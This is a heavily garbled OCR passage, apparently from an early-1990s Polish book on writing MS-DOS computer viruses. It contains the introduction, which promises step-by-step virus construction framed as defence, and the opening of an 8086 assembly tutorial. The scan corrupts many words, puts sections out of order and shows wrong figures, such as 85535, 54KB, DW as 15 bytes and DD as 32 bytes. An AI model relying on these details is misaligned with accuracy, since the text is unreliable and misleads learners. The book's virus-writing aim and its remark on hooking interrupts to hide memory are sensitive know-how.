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maszynie, to napisz do mnie przesylajac wszelkiego rodzaju infermacie zwiazane z wirusami i organizacia Twolego
komputera, lub po proatu wyrazajae ched zakupu fakic] pozyGj.

Pisz na adres:

Wydawniciwo ,VCS Press'

58-505 Jefenia Gora

skr. poczt. 413
Ne to zaczynamy.

2. Stawianie domkow z kiockow LEGO

Pewnie zdarzylo Gi sie kilka razy ogladac program napisany wigzyku assembiera. Prawdopodobnie pierwszq twoja reakeja
byla my$l, 2e jest to tak nieczytelne i skomplikowane, Ze nigdy w Zyciu nie bgdziesz potrafit sig postugiwagé tym jgzykiem.
Nie: przejmuj sig, chyba wigkszos¢ programistow odczuwala na poczatku takie same obawy. Na szczgscie wszystko jest dla
ludzi | assembler po przekroczeniu pierwszego progu okazuje sig dosc wygodnym i w miarg prostym jgzykiem programowa-
nia. Nad innymi jezykami ma 13 zalete, 7€ jest zdecydowanie szybszy, poza tym mo2na w nim wykonywad w prosty sposdb
operacie, kidre w innych jezykach sa albo niedostgpne albo bardzo skomplikowane. Jest on idealnym narzgdziem do pisania
krGtkich, szybkich i zwigzlych programéw systemowyeh takich jak proste programy rezydentne, czy wirusy.

W tym rozdziale cheiatbym zapoznaé Cig z podstawami programowania w assemblerze, Beda to tylko najprostsze
instrukcje | dyrektywy. Zapoznanie sig z nimi pozwoli Ci jednak na zrezumienie dalszej czgsci ksiazki oraz da Gi dostateczny
aparat do pisania prostych programdw. We wszystkich przyktadach korzystam tylke z instrukeji procesordw Intel 8086/88
wiec moga by ona uruchamiane zaréwno na komputerach typu XT jak i na 486. Dodatkowe instrukce dia procesoréw Intel
80286, 80386, 14861 koprocesordw sa opisane w rozdziale pigtym, Zardwno przy pisaniu przyktadow w lym rozdziaie, jak
i przy procedurach z rozdziati trzeciego korzystalem z Turbo Assemblera firmy Borland, W przykiadach nie korzystatem
z 7adnych dodatkowych mozliwo$ci tego systemu, wige réwnie dobrze mozesz je uruchamiaé korzystajac z kazdego innege
assemblera, kiérym akiualnie dysponujesz.

3. Powtorka z podstawowki

Na pewno obit Ci sig ju? kiedys o uszy pojecie systemu dwdjkowego (ewentualnie binamego}. Jest ono w scisly sposob
Zwiazane z architekiurg kemputerw. DIa przypomnienia system dwdjkowy jest to taki system, w kidrym na poszezegolnych
pozycjach liczby moga wystepowad tylko dwie wartosci 1 [ub 0, albo inacze] méwige sygnat lub brak sygnatu. Dokladnie tak
samo jest zbudowana pamieé komputera. Abstrahujac od szczegdtdw technicznych mozesz g sobie wyobrazac jako bardzo
dhugi ciag pdl, z kidrych w kazdym moze by¢ albo warto$é 1 (sygnal) albo 0 (brak sygnatu). Jedno takie pole nazywamy
bitein. Aby j Jakoé uporzadkowad worowadzono rozne jednostki podzialu. Najbardzis] znang jest bajt. Jest on rdwny osmiu
bitom. Najczescie] pamigé traktuje sig jako ponumerowany cigg bajtow,

W jednym bajcie mozna zapisac liczby od ¢ do 255. Masz prawo nie uwierzyc mi na stowo, wiec w ramach Gwiczenr mozeny
1o wapdinie przeliczyé.

Pewnie pamigtasz zasady przeliczania z systemu dwdjkowego na dziesigtny. Jesli nie to mozemy je sobie szybko
przypomniec:

Aby przeliczys liczbg dwdikows na dziesigtng nalezy dodaé do siebie wartescl na odpowiednich pozycjach pomnoZone
przez potegi dwdjki odpowiadajace pozycjl.

Na przyktad:
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1. Wstep

W poczatkach 1985 dwdch Wiochéw Roberto Cermutti 1 Maros Marocutt wysfato do pisma Scientific American” list
informujgcy o swoich prébach napisania na kemputerze Apple programu, kidry dotaczaiby sie do systemu operacyinego
i przy kazde} probie zapisu na cysk kopiowalby siebie samego w odpowiednie migjsce tego dysku. Cata sprawa byta wiasciwie
tylko w stadium plandw, ale i tak list odnidst skutek. Zainspirowani artykulem o "wolnach rdzeniowych” Wiesi nie zdawali
sobie zapewne sprawy ile zamieszania wywola on w komputerowym swiatku, Uznaje sig go bowlem za poczatek wirusow ~
Jednego 2 najdziwniejszych, a juz na pewno wywotljacych najwiece] plotek, nieporozumien | niejasnosci, zjawisk we
wspdiczesnej informatyce.

Wokdt zadnego tematu zwigzanago 2 komputerami nie narosto tyle mitéw co wokét wirusow., Swiezym tego przyitadem
Dyt wrzawa wokdt Michata Aniota, jednego 2 szeregu zwyklych wirusdw, kidremu przypisywano moziwosci sparalizowania
wielu systemdw informatycznych, czy wrecz tizyczneqo niszczenia dyskdw twardych, monitoréw, myszek itd. O takich
rodzynkach jak doniesienia o czlowigku, kidry zarazit sig chorobg od swojego komputera, lepiej nie wspominad. Zreszty
nawel wsréd programistéw i ludzi majacych staty kontakt z komputerem dosé rozpowszechniony jest poglad, iz pisanie
wiruséw to wyzszy stopieri wiajemniczenia dostepny tylko dla wybranych. Na tym stanie $wiadomodci Zerujy firmy
produkujgce szczepionki, umiejetnie podsycajace panike i zarabiajace grube pienigdze.

Wychodzae z zafozenia, ze najlepsza obrong jest atak, cheiatbym w mojej ksiaZoe przedstawic wigkszogé praktycznych
2agadnienr zwigzanych z tworzeniem winiséw, Cheiatbym, abys poznajac krok po kroku budewe typowego wirusa i prakty-
czne problemy zwigzane z jege dziataniem, przekonal sie, iz jest to taki sam program jak kazdy inny oraz posiadt odpowiedni
warsztat do jego zwalczania. Oczywidcie bedzles? tak?e w stanie tworzy¢ swoje wiasne wirusy, ale mam nadzieje, iz po
wiZeniu pewnego wysku w poznanie tege wszystkiego nie bedziesz miat juz na to ani sity, ani ocholy. Wirusdw na swiecie
jest juz wiej chwili dodé bez tego Twojego, & jesli koniecznie cheesz sprawdzic sig jako programista to lepisj napisz pragram
grajacy w Go, albo tumaczacy z jezyka angielskiego na polski.

Jesli mimo tego wszystiiego jestes zdecydowany na dalsze brigcie przez 1g ksigike, to witaj na Pokfadzie. Jedyna, czego
bede od Ciebie wymagal, to dos¢ dobrej znajomosci systemu operacyjnego MS-DOS iterminologli zwigzanej z komputerami,
podstaw jakiegos jezyka programowania, najlepiej Pascala lub C oraz matematyki w zakresie podstawdwki. Mysle, iz nie s
{0 zbyt wygorowane zadania. -

Po nazwach rozdzialéw mozesz nie mieé jeszeze wyrobionego zdania o ich zawarto$ci. Powinienem wige j przedstawié:

Pierwszy to krétii kurs programowania w jezyku assemblera. Nie mam aspiradjl przekazania Gi wszystkich wiadomosci
zwinzanych z assemblerem. Postaram sig dokladnie przedstawi tylke te instrukeje, dyrektywy i symbole, ktdre pézniej badg
wykorzystywane. Bedzie fo wige raczej uzupehicenie istniejacych podrecznikéw, zawierajace wiadomosei pod katem
praktycznego programowania, baz zbytniego wdawania sig w teorig. Jedli temat Cie zainteresuje i bedziesz cheial go rozwijad
1o bedziesz miat sofidne podstawy do siegnigcia po literature,

Drugito opis wngtrza komputera tak jak widzi go programista. S3 w nim zawarte informacje o organizacji pamieci strukturze
programaw, organizacli danych na dyskietkach i dyskach twardych, budowie plikéw ip.

W trzecim poznasz zasady dziafania wirusow, ich czesel skiadowe, procedury powielajace wirusy, metody maskowania
8ig W parmigel aperacyine] i na dysku oraz elekty Ich dziatania. Wiekszo$é tematow bedzie itustrowna przykladami.

Cawarty rozdziat to zasady profilktyki antywinisowe;, Zasady te powinny byt Ci juz chyba znane, wiec bedzie to raczej
przypomnienie niz odkrywanie nowych wiadomesei.

Cags piata zawiera wszelkiego rodzaju zestawienia, tabete, kody itp. Ma to by¢ w polaczeniu z czedcig druga pewna
zamknigta calos¢ zawierajaca wigkszosé informacji potrzebrych Ci przy pracy z komputerem, tak abys nie musiat szukaé
ich po réznych ksiazkach. W czesei tej sg pozbierane wiadomosci delychczas porozrzucane po wielu publikacjach.
Deswiadczeni programisci moga ja traktowad jaka cos w rodzaju matego leksykonu komputera klasy IBM | wykorzystywac
niezaleznie od pozostatych rozdziatdw.

W rozdziale sz0stym znajduje sig listing przykiadowego wirusa. Czes¢ siodma i 6sma to adpowiednic wykaz literatury
| skorowidz,

Pozostala jeszcze do wyjadnienia kwestia dlaczego kencentruje sig fylko na komputerze klasy IBM nie wspominajac
0 wirusach na inne komputery. Odpowiedi jest prosta. Sam posiadam taki komputer imam dostep domateriatéw Zrédfowych.
Jesli wige jeste$ uzytkownikiem Amigi, Atai ST,czy Apple'a i interesowataby Cig podobna ksigzka podwiccona Twojej
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11010101(2)= 1*27+ 1250254 2 o 202120
=141 28417644032+ 116408+ 144 0°241+1=213(10)

100100102)=  1727+0%2% 0217284023028 12 02"
= 1"12840%644+07 32+ 1*16+0°B+0"4+1°240% 1=146{10)

Najmniejszq liczba, ktérg mozna zapisac na odmiu bitach jest

00000000(2)=0"2"+0"28 4072540 2% 023100284 000 102" =
—0%1 2840544073240 1640 840" 4407240 1=0{10)

Zas najwigkszg,

NIE=12 e B2t 22212 100l =
=1*1284+1° 64+ 132+ 1°16+1°B+1°441"2+1*1=055(10)

Skoro sprawdziiiémy, Ze w bajcie da sie rzeczywiscie zapisac liczby z przedzialu 0 — 255, zastandwmy sig jeszeze jakie
wartodci mozna zapisywad na 16 bitach. Nieprzypadkowo wybratem takg liczbg bajtdw. Oto2 procesory rodziny Intel 8088,
kidre znajduja sig w 1BM-ach, s3 procesorami 16 bitowymi i z tym 2zwiazane sg doéd istoine ograniczenia {pairz nastepny
paragral). Analogicznie jak poprzednio obiiczamy, ze sa to liczby z przedziatu 0-11111131113111131(2) czyli 0 - 85535(10)
(Sprawd? jak nie wierzysz). Ta wartosc jest dosé wazna i bedzie jeszeze kilkakratnie uzywana.

Zostaly jeszcze dwie sprawy. Pierwsza to jednostki, w kidrych podaje si¢ rozmiar pamigcl. Oprocz 1 bajta sg jeszcze
przynajmniej trzy jednostki:
1 KB {kilobaji} = 1024 bajty
1 MB {megabat) = 1024 KB = 1048576 bajtéw
1 GB {gigabajt) = 1024 MB = 1048576 KB = 1073741824 baity

Ostatnie zagadnienle w tym paragrafie to system szestnastkowy (hexadecymalny). To wiasnie w nim, a nie w systemie
binamym podaje sig najczesciej adresy w pamieci, czy wartosei zmiennych. Jest to zwigzane z bardzo prosty metodq
zamiany jednego systemu na drugi oraz z tym, ze zapis liczby w systemie szestnastkowym jest zdecydowanie krdtszy niz
w dwdjkowym. Aby zamienié liczhg binamg na hexadecymalng wystarczy podzielic jg na grupy po czlery cyfry zaczynajac
od prawej strony, nastepnie kazda z tych grup zmienic wediug zasad
0000 {2)= 0(10}=0{16)

001(2) = 1{10}= 1{16)
0010(2) = 2(10)=2{16)
0011(2) = 3(10)=3(16)
0100(2) = 4(10}=4(16)
0101(2) = 5(10)=5(16)
0110(2) = 6(10)= 6{16)
0111(2) = 7(10)= 7(16)
1000(2) = 8(10)= 8(16)

1001(2) = 9(10)=9(16)
1010(2) = 10(10)= A{15)
1011(2) = 11{10)=B(16)
1100(2) = 12{10}=C(16}
1101(2) = 13{10)= D(16}
$110(2) = 14(10)= E{16)

1111{2) = 16(10)m F{16) :
Symbola A-F sq to cyfry szestnastkowe odpowiadajace liczbom 10(10) - 15(10}.
Przyktadowo:

101016010101110104101010010{2) = 101 0300 1010 1110 1011 0101 0010(2) = S4AEBS2(15)

10164101101014101001001110101{2) = 10101 1011 0101 1101 00100111 0161(2) = 15B5D275(16)
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Sam widzisz, Ze liczby po prawych stronach réwnoscl sa o wiele bardziej zwigzle i czytelne. Dlatego latwiej sig nimi
postugiwad.

Z liczbami szestnastkowymi jest zwigzana pewna konwencja zapisu. Otéz dia ich zaznaczenia na koricu liczby dadaje sig
litsrg H, a jesk liczba zaczyna sie od kidrejé z cyfr A-F, to na poczalku liczby dopisuje sig zero. § tak:

255(10} zapisujemy jako OFFH
124(10) zapisujemy jako 7CH
555510} zapisujemy jake 15B3H
24578(10) zapisujemy jako 6002H

4. Procesor

Sercem kazdego komputera jest procesor. To on pobiera z pamieci | wykonuje rozkazy sterujace prac komputera.
W zaleznodel od tegoe na ilu bitach operuje procesor, z takim typem mamy do czynienia. | tak komputery typu Spectrum, czy
Commodore byty posiadaly procesory 8-bitowe. Natomiast IBM, Apple, czy Atari ST tokomputery 16-bitowe. Komputery typu
XT posiadajg procescr Infel 8088/86. AT-eki majg procesor 80286, a komputery klasy 386 | 486, jak sama nazwa wskazuje
pracesory 80386 i B0486. Te dwa ostatnie procesory sg w zasadzie 32-bitowe, ale moga pracowad w trybie 16-bitowym.
Wszystkie procesery rodziny 8086 sa kompatybilne w gore, tzn. kaidy z nich polrafi robic o co jego poprzednik plus
dodatkowe czynnosai. Dzigki temu zachowana jest przenosnosé oprogramowania i kazdy program, kidry chodzit na XT
bedzie réwniez dzialat na najnowszym PS/2. Zeby jeszcze zrobié Ci troche zamieszania w glowie wspomng o podziale
procesora 80386 na dwa typy. Pierwszy z nich jest oznaczony SX, drugi DX. Z punktu widzenia programisty nie ma to zadnej
roznicy, natomiast jest réznica w szybkosc! dziatania, a co za tym idzie i w cenie. Po prostu pierwszy 2 nich ma 16-bitowa
szyng do przasytania danych 2 i do pamigci, natomiast drugl 32-bitowa | dlatego pewne operacie moze wykonywad szybciej.

Praca procesora polega na pebieraniu z pamigel rozkazow wraz z danymi i wykonywaniu ich. Migdzy danymi & rozkazami
nig ma w pamigci rdznicy i ta sama liczba moze byé traktowana raz jako kod instrukcii, a drugi raz jako wartosé przekazywana
do instrukgii. Oprocz operowania na pamieci procesor steruje pracg urzadzer zewnetrznych. Urzadzeniami zewnetrznymi
88 na przykiad klawiature, czy karte graficzna. Do wspélpracy z nimi stuzg porty wej§cla/wyjscia. Sterowanie urzgdzeniem
polega na przestaniu odpowiedniej warlosci do portu | ewentualnie odezytaniu danych z portu. W celu szybszego operowania
danymi kazdy procescr jest wyposakony w kilka rejestrow, czyti bajiow szybkiej wewnelrznej pamigei. Wykonanie jakiejs
operacii na komarce pamieci odbywa sie najczesciej poprzez przestanie wartodel komorki do rejestru, wykenanie operacii
na rejestrze i edestanie wyniku do pamigei.

Procesor Intel 8086 {i inne z tej rodziny) posiada 14 rejestréw 1 8-bitowych, Osiem pierwszych 2 nich to tzn. rejestry ogdinego
przeznaczenia, Pierwsze cztery moznatraktowac zaréwnojake rejestry 16-bitowe, jaki ziozenie dwdch rejestrow 8-bitowych.
Noszg one nazwy:

AX (ang Accumulator) Wykorzystywany glownie do operacji aryimetycznych: i lagicznych.
Mozna go trakiowac jako ziozenie 8-bitowych rejestrow AHi AL, Przyk-
ladowo jezeli w rejestrze AH jest wartos¢ 56H, a w rejestrze AL 4BH o
w calym rejesirze AX jest warto$é 564BH.

BX (ang Base Register) Rejestr bazowy, giownie wykorzystywany przy adresowaniu pamigci.
Dzieli si¢ na BH i BL

CX (ang Counter Register) W wielu instrukcjach wykorzystywany jako licznik. Dzieli sig na CH i CL.

DX {(ang Data Register) Rejestr danych, wykorzystywany przy operacjach mnozenia i dzielenia,
a takze do wysylania i odbierania danych z portow. Dzieli sig na DM
iDL,
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Nastepne cztery rejestry ogdlnego przeznaczenia to:

$! (ang Source Index) Rejestr indeksujacy pamigé oraz wskazujgey obszar z kidrego przesyla
sie dane.
DI {ang Destination Index) Rejestr indeksujacy pamieé oraz wskazujacy obszar, do kidrego prze-
_ syiamy dans.
SP (ang Stack Pointer) Wskaznik stosu.
BP {ang Basa Pointer) Rejestr uzywany do adresowania pamiget.

Kolejny rejesir nie jest bezpesrednio osiggainy przez programiste. Jest to IP {ang Instruction Peinter). Zawiera on adres
(numer w pamigei) akiuainie wykonywanej instrukcji | moze byé modytikowany tylke poprzez rozkazy sterujace pracg
programu.

Jedli uwaznie czytales ten rozdzial i wiesz co nieco 0 swolm komputerze, to w tym momencie powinny Ci sie pojawic pewne
nigjasnosci. Jazeli rejestr 16 bitowy zawiera adres pamieci, fo maksymalny adres nie moze by¢ wyzszy niz 65535, czyli
pamigé moze liczy¢ 64KB. A przeciez dobrze wiesz, ze w Twojej maszynie jest na pewno duzo wigcej pamieci, Jak to sie
dzieje ?

Otoz rzeczywiscie jeden rejestr 16-bitowy moze adresowac 54KB pamigci. Dlatego cala pamieé IBM jest podzielona na
segmenty majace rozmiar 64KB. Ten podzial nie jest rozlaczny, to znaczy jedna komérka pamigci moze lezec wewnatrz
kilkudziesieciu, a nawet kilkuset réznych segmentéw. Segmenty zaczynajq sie od adresow podzielnych przez 16 i roznica
migdzy poczatkami dwdch kolejnych segmentdw wynosi 16 bajtdw. Dia podania petnego adresu komdrki pamigci nalezy
podad jego segment | offset (adres w stosunku do poczatku segmentu). Przyktadowe adresy to 0000:12B5, A000:0000. Przy
zapisie adresdw stosuje sig zapis hexadecymalny, w tym wypadku wyjatkowo bez literki H. W zwigzku z tym, ze segmenty
nig 84 roztaczne, jedna komarka maze byd adresowana na wiele réinych sposohdw np zapisy 0000:7C00, 0700:0C000
1 07C0:0000 oznaczajg te sama komdrke, Na podstawie zapisu Segment:Offset mozna odtworzyé adres fizyezny korzystajae
ewzon adres — 10 segmant+of £set . Moniewas edresy s§ zapisywane szestnastkowo korzystanie z tego wzomnu
jest bardzo proste, Wystarczy dopisa¢ do numeru segmentu 01 dodaé go do offsetu,

Przykiadowo:
7400:1234 = 74000 - segment
+1234 - oftset
75234 - adres fizyczny
TBAC:88B2 = TC4B0O - segment

+88B2 - oftset

B4L62 - adres fizyveany

Jak wida€ z tych przykladéw adresy fizyczne sq dwudziestobitowe {5 cyfr szestnastkowych — 20 dwdjkowych), Oznacza
10, 26 maksymalny adres, kidty da sig osiggnad w tym trybie adresowania to 1111111111111t 111111{2) czyli 220-1.
| rzeczywiscie tylko pamigé do 1MB moZe byé wykorzystywana w standardowych trybach pracy procesordw rodziny Intel
8086. Mawimy o tym fakcie, Ze przestrzed adresowa procesora 8086 wynosi 1MB.

Podezas wykonywania operacii korzystajacych z pamiegi rejestry ogolnege przeznaczenia zawierajg tylko offsety adresow
wykorzystywanych przy operacji. Segmenty fych adresdw znajduia sie w rejestrach segmentowych. Sg Lo nastepujace
rejesiry;

CS (ang Code Seginent) Rejestr zawierajacy segment aktuainie wykonywanego rozkazu.

0S5 {ang Data Segment) Rejestr zawierajacy segment z danymi.

ES {ang Extra Segment) Rejestr zawierajacy segment na przykiad przy operacjach przesytania
tarficuchdw,

85 (ang Stack Segment} Rejestr zawierajacy segment stosu.

Rejestry to sg uzywane niejawnie w zaleznosei od kontekstu, to znaczy jeshi procesor wykonuje rozkaz skoku do komorki
o adresie 0, to tak naprawde wykona skok do komérki C$:0 , natomiast jesli czyta dane z komorki o adresie 0, to
w rzeczywistosci czyta dane z kemdrki DS:0. W niektdrych przypadkach adresy sg podawane jawnie od razu w postaci
segment : of fset, jest iak jednak wiedy, gdy wymaga tego dana operacja.
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Ostatnim rejestrem, do kidrego réwniez nie mozna odwotywad sig w sposcb bezposredni jest rejestr znacznikdw. Jestio
wiasciwie 9 pojedynczych bitéw informujacych o stanie procesora. Czgsc z nich mozna ustawiad, czesé tylko odezytywac.
Instrukcie sterujace programem moga sig réznie zachowywag w zeieznesel od stanu poszezegdinych znacznikow. Polozenie
i znaczenie znacznikow jest nastepujgce:

Rejestr znacznikow

| ololi|T][s]|z Al el [c]
0 (ang Overflow flag) Znacznik nadmiary, ustawiany przy wystapieniu nadmiary w operac-
jach arytmelycznych.
b {ang Direction Flag) Znacznik Kierunku, okresla nzy dane bedq przesylane w kolejnosci
adresow rosnacych, czy malejgcych,
f {atrg Interrupt Flag) Znacznik zezwoleniana przerwanie, okresla, czy przerwanie sprzgtowe

ma byé wykonane natychmiast po zgloszeniu , czy dopiere po skoricze:
niu wykonywaneqgo programu.

T (ang Trap Flag) Znacznik pracy krokowe]. Okresla, ¢zy po kazdej wykonane] instruke]i
procesora wywolyware jest przerwanie pracy krokowej.

$ (ang Sign Flag) Znacznik znaku. Zawiera znak wyniku ostatnio wykonywanej operacii
arytmetycznef.

Z {any Zero Flag) Znacznik zera. Ustawiany jesli wynikiem ostatniej operacii arytmetycz-
ncj o zero,

A (ang Auxiliary Carry Flag) Znacznik przenissienta polowkowego.

P (ang Parity Flag) Znacznik parzystosci.

C {ang Carry Flag) Znacznik przeniesienia.

W nlektérych publikacjach do nazw znacznikow dodaje sig jeszcze literg F {ang Flag — znacznik). Tak wigc znacznik C
moze byé dZnaczany jako CF, Z - ZF itd.

W ten sposéb zapoznales sig z wszystkimi rejestrami procesora B088. Procesory 80286,386,486 posiadaja dodatkowe
rejestry, jednak nie bede w dalszej czedel korzystal z instrukefi, Ktdre je wykorzystuja,.

5. Przerwania

Przed chwila napisatem, ze pracesor wykonuje instrukcje pobierajac je kolejno z pamigel, Nie zawsze jest to prawda,
Czasami zachodzi sytuacja, gdy jakies urzadzenie zewngirzne zgtasza fakt zaistnienia sytuacii krytycznej {np. klawiatura,
gy nacisnigio klawisze [Ctrl+Break] czy pamigc, gdy wystepuie bad parzystoscl). W takim wypadku przerywane jest
wykonywanie aktuainego pragramu, zapamiglywana wartosc rejestru znacznikéw. Nastepnie sg wykonywane instrukcje
obstuguiace to urzadzenie | przywracana jest wartos¢ rejestru znacznikéw. Taka sytuacja nosi nazwg przerwania sprzgto-
weqo. Poniswaz kilka réznych urzgdzer moze 2glosi¢ réwncczesnie przenwanie sprzgtowe, kazdemu z nich jest przyporzad-
kowany pewien poziom { priarytet ), okreslajacy, w kidrej kolejnosci ma byé wykonywane. Im przerwanie ma mniejszy poziom
tym wozadniej jest wykonywane. Jegl znacznik | procesora jest wyzerowany, to przenwania Sprzgiowe nie 3 przyjmowane.

W zasadzie przerwania sprzglowe moZna wywolywaé wewnatrz programu, jednak nie ma to specjainego sensu. Lepszym
zastosowaniem jest pisanie wiasnyeh procedur obstugi. Umozliwiajg one kontrolg reakeji komputera w sytuacjach specjal-
nych. Na przyktad wiasna procedura obstugl przerwania klawiatury pozwala na wprowadzanie palskich znakow, a cbsluga
przenwania zeqarowego moze wywohywac co jakis czas wiasne procedury (Na przyklad, o petnych godzinach, przez sekundg
wzbudzany jest gloénik).

Innego redzaju przerwania to przerwania programowe. 54 one wywotywane tylko 2 wnetrza programu. Przerwania te
stanowia istng, skarbnieg uzytecznych procedur i funkeji. Wiascinde cate programowarie w assemblerze 1o umigjetne
korzystanie z gotowych podprogramdw zawartych w przerwaniach. 1 tak, o il w BASICu wypisanie na gkranie monitora ciggu
znakéw wykenuje instrukcja Print, w Pascalu — Wrile, w C — Seanf, to w assemblerze do te] czynnosci wywolywane jest
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przerwanie 21H, 7 wartoscia 08H przekazang w rejestrze AH. Inny sposcb wyswietienia taricucha jest praktycznie niedo-
stepry. Wymaga on korzystania z portéw karty graficzne] i tylko bardzo dodwiadezeni programisci moga z niego korzystad.
Lepie; wigs na poszatku kerzystaé z getowych procedur zawartych w przerwaniach programowych.

Réwniez | przerwania programowe mozna przechwytywaé {Pisa¢ wiasne procedury ich obstugi). Np. przechwycenie
przerwania podajacege rozmiar pamigci operacyjngj pozwala nam na ukrycie czesci pamigei przed systemem operacyjnym.

6. Pierwszy program

Po tym wstepie mozemy juz zaczad pisad proste programy. Poniewa? wiekszos¢ assemblerw nie posiada wasnych
edytorow, pliki z programami trzeba praygotowywad winnych edytorach. Ja do ego celu wykorzystuje edytor znajdujacy siq
w pakiecie Norton Commander, Schemat pisania | uruchamiania programu w assemblerze jest nastgpuiacy.

Zatbimy, Ze chcemy napisaé program o nazwie Przykiad.
»  Tworzymy przy pomocy edytora zewngtrznego zbidr Przykiad.asm zawierajgcy tresc programu.

»  Kompilujcmy program poleceniem Tasm Przykfad.asm. O ile nie wystapla bigdy kampilacii, to w jej wyniku otrzy-
mujemy program Przyidad.oby.

»  Konsolidujemy program poleceniem Tink Przykiad.obj. O ile nie nastapia btedy kensolidaci, to w je] wyniku
olrzymujemy program Przykiad.exe.

»  Wykonujemy program przez podanie jego nazwy Przykfad.exe. Mozemy réwniez uruchamiad program ped kon-
trola debuggera poleceniem Td Przykiad exe.

Szczeqdly zwiazane z kompilacjg, kensolidacjg i uruchamianiern debuggera zawarte sg w dokumentacii Turbo Assemblera
i Turbo Debuggera ([4], [B]).

Tradycyjnie pierwszy program w podrecznikach programowania fo wy$wietlenie jakiegos komunikatu. W assemblerze
bedzie to wygladad mniej wigcej tak:

.MODEL tiny

LSTACE 100h

DATA

Eomunikat db ‘Dzien dobry‘,13,10,'%"
CCDE

mov ax,seg komunikat
mov ds,ax

mov ah, S

mov dx, offset komunikat
ine Z1H

mov ah, 4CH

int 21H

END

Piarws7a linijka programu zawiera dyrektywe MODEL {Dyrektywa, o fakie polecenie, kibre nie jest instrukcja wykonywang
przez procesor, ale stanowi wskazéwke dla kempilatora lub konsolidatora). Dyrektywa ta okresla, na jakim modelu pamigci
wykonywany jest program. Qkreslanie modelu pamigel jest zwiazane z jej podzialem. Otdz operacie, ktdre wykonywane s3
w lym samym segmencie nazywamy bliskimi, a operacie, ktére odbywajg sig w roznych segmentach {np. skak do innego
segmentu czy odczyt danych z innego segmentu ) dalekimi. W zwigzku z tym mozliwe sg nastepujace modele pamigci:

Tiny (drobny) Kod programu | dane musza sig zmiescic w jednym segmencie 64KB,
Zardwno kod jak i dane sg bliskie.

Small {maly) Program musi sig zmiescié w segmencie i dane muszq sig zmiescic
w innym segmencie. Zardwno kod Jak i dane sq bliskie.

Medium (Sredni) Program moze nie zmiedcié sig w jednym segmencie, natomiast dane

musz3 sie zmiedcic w segmencie. Kod jest daleki, dane bliskie.
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Compact (gesty} Program musi zmiescié slg w pojedynczym segmencie, natomiast dane
moqg byd w kilku segmentach. Pojedyncza dana nie moze przekraczad
B4KB. Kod jest bliski, dane dalekie.

Large (duzy) Zardwno program jak | dane mogg by¢ wieksze niz 64KB, ale pojedyn-
cza dana nie moze by wigksza niz 64K8. | kod i dane s3 dalekie.
Huge {olbrzymi} Program, dane oraz pojedyncza dana mogg przekraczac

64KB. Kod i dane sq dalekie. Wskazniki do elementéw tablic
$q rowniez dalekie.
Ponlewaz prayklady w niniejszej ksigzee beda zaimowaty maksymalnie kilka KB, wige bgda one zawsze wykonywane na
modelu Tiny.
Nastepna dyrektywa to STACK. Okredla ona rozmiar pamieci, przydzielonej poczatkowo na stos. Opis stosu i operacj
na nim wykonywanych znajduje sig w nastgpnym paragrafie.
Dyrektywa .DATA rozpoczyna czesé danych programu. Deklaragia danej ma postaé  Nazwa Tvp Wartosc. W
ksigzce bede wykorzystywat nastepujace typy danych:

DB -  zmienna skiadajaca sig z jednego/wielu bajidw
DW -  zmienna skiadajaca sig z jednego/wielu stow (15 bajidw}
DD - zmienna skiadajaca sie z jednego/wielu stow podwajnych (32 bajty)

Przykiadowe dekizracie zmiennych:

Bajtl DB 25H

BajtZ DB ‘A’

Napis DB '&la ma Asa‘’

Lancuch DB 'ALA ma Asa’,13,10,"5¢

Slowo DW Z25C4H

Ciag Slow DW 25C4H,7624H, 5436H, 1CD5H

Slowo_podwoine DD 12346785H o

Nieznana DD (?) ;wartose zmiennej nie
ijest znana przy deklaracji

Mieznany_ciag DB 100H DUP {3},zm1enna sklada sie =z
:100H nieznanych bajtow

Adres DD Far Ptr (?) ,zmlenna zawiera adres
idalekiej instrukcji

Te ostatnie napisy z lewe] strony po Sredniku to komentarz, czyli tekst nie wehodzacy w skiad programu. W programach
napisanych w assemblerze po wystapieniu srednika tekst do korica linjki jest traktowany jako komentarz.

'Pewnie zastanawiasz sig, po co wprowadzono typ & 1 owo, skoro mozna wszystkie dane typu S 1 owo potraklowac
jake dane ziozone z dwdch bajtéw. Niestety nie jest to to samo. Procesor intel 8086 odziedziczyt po swoich poprzednikach
specyficzny sposéb zapisu danych innych niz typu bajt. Ctéz dane te sa zapisywane w kolejnosci od najmnief znaczacego
de najbardzie) znaczacago hajtu. (W przypadku stowa bajt mniej znaczacy nosi nazwe dolnege bajtu, bajt bardziej znaczacy
= gormego bajtu}. Jedli wisc zadeklarujesz jakas zmienng

Zmienna DB 11H, 22H, 33H, 44H
to w pamigei pod adresem ZIM1 enna sa wartosel:

Zmienna 11H
Zmienna+1 22H
Zmienna+2 33H
Zmienna+3 44H

Jedli zadeklarujesz jg jako

Zmienna DW 1122H,3344H
to w pamigci znajdg sig:
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Zmienna 22H
Zmisnna+1 11H
Zmienna+2 44H
Zmienna+3 33H

Jesli za§ zadeklarujesz ig jako:
Zmienna DD 11223344H

to w pamieci znajdg sie:

Zmienna 44H
Zmienna+1 33H
Zmignna+2 22H
Zmienna+3 11H

Analogicznie adresy dalekich instrukgii sa pamigtane w kolejnoéci O£ Eset, segment.

Nastepna dyrektywa .CODE informuje kompilator o tym, iz zaczyna sig whasciwy kod programu. Instrukeje, kidra znajduje
sig bazposrednio za tq dyrektywa, jest wykonywana jako pierwsza, chyba ze wdyrektywie END znajduje sig etykieta instrukcji,
od ktére] nalezy zaczac program.

Wiasciwie caly powyzszy program, to dwukrotne wykonanie przerwania 21H. Przerwanie o danym numerze wykonuje
instrukcja

INT  numer przerwania.

Przerwanie 21H jest przerwaniem specjalnym. Jest to menadzer funkgji systemowych. Uzywa sig go w ten sposcb, ze
przed jego wywoltaniem w rejestrze AH umieszcza sig numer funkeji, 2 w pozostatych rejestrach inne parametry wymagane
przez funkeje. Doktadny opis wszystkich funkeji przerwania 21H znajduje sig w rozdziale piatym. W nim rownieZ znajduja sig
opisy wezystkich pozostalych przerwan. Diatego przy korzystaniu z przerwan nie bgdg umaczyt dokladnie ich znaczenia.
Jegli nie bedziesz czegos rozumiat, to po prostu siegnij do rozdziatu piatego.

W naszym przypadku wywotanie funkcji 09 przerwania 21H powoduje wyswietlanie na ekranie ciagu znakéw, natomiast
wywotanie funkcii 4CH przerwania 21H keniczy prace programu, Bez wywolania tego przerwania program po zakoriczeniu
pracy zawiesi sig. Dlatege instrukcjami, ktdre wykonuja sig jako ostatnie w programie (z pewnymi wyjgtkami, o czym pdZniej)
powinny byé:

MOV AH, 4CH
INT Z1H

| w tym momencie trochg wyprzedzitem tok ksiazki, bowiem drugg instrukcjg wykorzystywang w programie jest MOV,
